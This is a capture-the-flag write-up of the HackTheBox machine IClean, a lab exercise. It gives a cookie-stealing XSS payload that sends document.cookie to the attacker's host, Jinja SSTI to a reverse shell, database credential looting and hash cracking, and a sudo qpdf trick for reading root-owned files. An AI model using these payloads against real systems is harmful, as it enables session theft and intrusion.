Post

HackTheBox: IClean

IClean is a medium machine by HackTheBox. We start by exploiting an XSS vulnerability to steal the admin’s session cookie. Using the cookie, we access the admin dashboard and find a SSTI vulnerability in the invoice generation feature, leading to a reverse shell. We pivot to the consuela user by cracking the database credentials and escalate privileges using the qpdf command to read the root.txt file.


Enumeration

Nmap Scan

As always we start with our Nmap scan.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(Str4ngerX㉿Voldemort)-[~/Desktop/HackTheBox/IClean]
└─$ nmap -sC -sV 10.10.11.12 -T4 -oN iclean.nmap  
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-24 17:16 BST
Nmap scan report for 10.10.11.12
Host is up (0.092s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 2c:f9:07:77:e3:f1:3a:36:db:f2:3b:94:e3:b7:cf:b2 (ECDSA)
|_  256 4a:91:9f:f2:74:c0:41:81:52:4d:f1:ff:2d:01:78:6b (ED25519)
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.64 seconds

Looking at the results, we have 2 ports.

  • 22/SSH - open
  • 80/HTTP - open

Web Server

Taking a look at the web server on port 80 we get redirected to http://capiclean.htb/ adding that to our /etc/hosts.

1
2
3
4
5
6
7
8
127.0.0.1       localhost
127.0.1.1       Voldemort
10.10.11.20     capiclean.htb

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

Looking at the website it seems like it’s a cleanup company.

Screenshot

Running Gobuster on the web server we got some endpoints.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
┌──(Str4ngerX㉿Voldemort)-[~/Desktop/HackTheBox/IClean]
└─$ gobuster dir -u http://capiclean.htb -w /usr/share/wordlists/dirb/big.txt -x php,html,txt,png,db -t 30 
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://capiclean.htb
[+] Method:                  GET
[+] Threads:                 30
[+] Wordlist:                /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              txt,png,db,php,html
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/about                (Status: 200) [Size: 5267]
/choose               (Status: 200) [Size: 6084]
/dashboard            (Status: 302) [Size: 189] [--> /]
/login                (Status: 200) [Size: 2106]
/logout               (Status: 302) [Size: 189] [--> /]
/quote                (Status: 200) [Size: 2237]
/server-status        (Status: 403) [Size: 278]
/services             (Status: 200) [Size: 8592]
/team                 (Status: 200) [Size: 8109]
Progress: 122814 / 122820 (100.00%)
===============================================================
Finished
===============================================================

taking a look at /quote it seems like we can book for services and supply an email address.

Screenshot

Exploitation

Cross Site Scripting (XSS)

We decide to intercept that with burpsuite to see what really happens we figured out that the form is sending a POST request to /sendMessage with 2 parameters service and email, sending that to repeater we tried to inject an XSS payload and url encode it in order to try and steal the admin cookie.

1
<img src="empty.png" onerror="fetch('http://10.10.15.7:8000?cookie='+document.cookie); " />

Screenshot

Setting up a python webserver and waiting a bit we get the admin session cookie!

1
2
3
4
┌──(Str4ngerX㉿Voldemort)-[~/Desktop/HackTheBox/IClean]
└─$ python3 -m http.server                                             
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.11.12 - - [24/Jul/2024 18:01:34] "GET /?cookie=session=eyJyb2xlIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMifQ.ZqEyEQ.dsvQJTxMJj3xFD-xtjOdE0-l0a8 HTTP/1.1" 200 -

Server Side Template Injection (SSTI)

Setting the cookie in our browser, we head to /dashboard discovered by Gobuster.

Screenshot

We’re able to generate invoices, generate QR, edit services and check quote requests. Trying to generate an invoice, we fill all fields and generate an ID, in our case 5557653435.

Screenshot

Screenshot

Going to Generate QR, an ID is asked for us to generate the QR code, filling ours we got a .png link to the QR code and can still generate a scannable Invoice using the link we obtained.

Screenshot

Screenshot

Once we hit the submit button we get an invoice having the QR code we got earlier, on the bottom right.

Screenshot

As the QR code is fetched from the link we submit, we could potentially exploit a SSTI, catching the request using burpsuite we get the qr_link parameter that we can modify, injecting a SSTI payload we can confirm that indeed it’s vulnerable to it as we got the result of \(5*5\)

Screenshot

Knowing it’s a Python web server, Werkzeug more specifically, we tried some Jinja SSTI Payloads from Hacktricks and we got an RCE payload that works fine!

Screenshot

Initial Access

Setting up a reverse shell payload and a listener using pwncat we get a shell.

1
2
3
4
5
6
7
8
9
10
11
12
┌──(Str4ngerX㉿Voldemort)-[~/Desktop/HackTheBox/IClean]
└─$ pwncat-cs -lp 4444
/home/Str4ngerX/.local/lib/python3.11/site-packages/paramiko/transport.py:178: CryptographyDeprecationWarning: Blowfish has been deprecated and will be removed in a future release
  'class': algorithms.Blowfish,
[21:51:23] Welcome to pwncat 🐈!                                                                                 __main__.py:164
[21:54:07] received connection from 10.10.11.12:58652                                                                 bind.py:84
[21:54:08] 0.0.0.0:4444: upgrading from /usr/bin/dash to /usr/bin/bash                                            manager.py:957
[21:54:09] 10.10.11.12:58652: registered new host w/ db                                                           manager.py:957
(local) pwncat$                                                                                                                 
(remote) www-data@iclean:/opt/app$ ls
app.py  static  templates
(remote) www-data@iclean:/opt/app$ 

Reading the app.py file we get the database credentials.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from flask import Flask, render_template, request, jsonify, make_response, session, redirect, url_for
from flask import render_template_string
import pymysql
import hashlib
import os
import random, string
import pyqrcode
from jinja2 import StrictUndefined
from io import BytesIO
import re, requests, base64

app = Flask(__name__)

app.config['SESSION_COOKIE_HTTPONLY'] = False

secret_key = ''.join(random.choice(string.ascii_lowercase) for i in range(64))
app.secret_key = secret_key
# Database Configuration
db_config = {
    'host': '127.0.0.1',
    'user': 'iclean',
    'password': [REDACTED],
    'database': 'capiclean'
}

app._static_folder = os.path.abspath("/opt/app/static/")

User Pivoting

Connecting to the mysql database using the credentials found we can retrieve consuela password hash.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
(remote) www-data@iclean:/opt/app$ mysql -u iclean -p
Enter password: 
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 6753
Server version: 8.0.36-0ubuntu0.22.04.1 (Ubuntu)

Copyright (c) 2000, 2024, Oracle and/or its affiliates.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| capiclean          |
| information_schema |
| performance_schema |
+--------------------+
3 rows in set (0.00 sec)

mysql> use capiclean
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;
+---------------------+
| Tables_in_capiclean |
+---------------------+
| quote_requests      |
| services            |
| users               |
+---------------------+
3 rows in set (0.00 sec)

mysql> select * from users;
+----+----------+----------------------------------------------+----------------------------------+
| id | username | password                                     | role_id                          |
+----+----------+----------------------------------------------+----------------------------------+
|  1 | admin    | 2ae316f10d49222f369139ce899e414e57[REDACTED] | 21232f297a57a5a743894a0e4a801fc3 |
|  2 | consuela | 0a298fdd4d546844ae940357b631e40bf2[REDACTED] | ee11cbb19052e40b07aac0ca060c23ee |
+----+----------+----------------------------------------------+----------------------------------+
2 rows in set (0.00 sec)

mysql> 

Copying the hash to our machine we were able to crack it using Hashcat.

1
2
3
┌──(Str4ngerX㉿Voldemort)-[~/Desktop/HackTheBox/IClean]
└─$ hashcat -a0 -m1400 hash.txt /usr/share/wordlists/rockyou.txt --show
0a298fdd4d546844ae940357b631e40bf2a784793[REDACTED]:[REDACTED]

Connecting to consuela using the password cracked with SSH we were able to retrieve user.txt flag.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌──(Str4ngerX㉿Voldemort)-[~/Desktop/HackTheBox/IClean]
└─$ ssh consuela@capiclean.htb
consuela@capiclean.htb's password: 
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-101-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

  System information as of Wed Jul 24 09:15:14 PM UTC 2024

[...]

You have mail.
Last login: Wed Jul 24 21:15:15 2024 from 10.10.15.7
consuela@iclean:~$ ls
user.txt

Privilege Escalation

Looking for sudo permissions on user consuela we can see that the user can run qpdf as root. qpdf is a tool used for manipulating PDF files, such as merging, splitting, and modifying them.

1
2
3
4
5
6
consuela@iclean:~$ sudo -l
Matching Defaults entries for consuela on iclean:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User consuela may run the following commands on iclean:
    (ALL) /usr/bin/qpdf

Googling for any exploits we couldn’t find anything interesting. Asking chatgpt for a litlle help we get what we need to do!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
consuela@iclean:~$ sudo /usr/bin/qpdf --empty /tmp/root.txt --qdf -add-attachment /root/root.txt --
consuela@iclean:~$ ls /tmp
puppeteer_dev_chrome_profile-XXXXXXBovcOT
puppeteer_dev_chrome_profile-XXXXXXjH2If1
root.txt
systemd-private-ef6938d78374488e922ee48e4c5c1853-apache2.service-oXsGvg
systemd-private-ef6938d78374488e922ee48e4c5c1853-ModemManager.service-4RoDox
systemd-private-ef6938d78374488e922ee48e4c5c1853-systemd-logind.service-R1AbY6
systemd-private-ef6938d78374488e922ee48e4c5c1853-systemd-resolved.service-mxWT8O
systemd-private-ef6938d78374488e922ee48e4c5c1853-systemd-timesyncd.service-VNnof3
systemd-private-ef6938d78374488e922ee48e4c5c1853-upower.service-9ucL2N
vmware-root_781-4290101162
consuela@iclean:~$ cat /tmp/root.txt
%PDF-1.3
%����
%QDF-1.0

[....]

<<
  /Params <<
    /CheckSum <cfbb642b75cc05fab13fc0ba37fef3e1>
    /CreationDate (D:20240724220748Z)
    /ModDate (D:20240724220748Z)
    /Size 33
  >>
  /Type /EmbeddedFile
  /Length 6 0 R
>>
stream
701bf4cc2e8e7437d[REDACTED]
endstream
endobj

[....]

startxref
802
%%EOF
consuela@iclean:~$ 

And there we have it, we got the root.txt file. Another way to do it is to use the same command in order to retrieve root’s private key in order to SSH to it.

And with that, we can say that the box is officially Pwned ! ⚔️

This post is licensed under CC BY 4.0 by the author.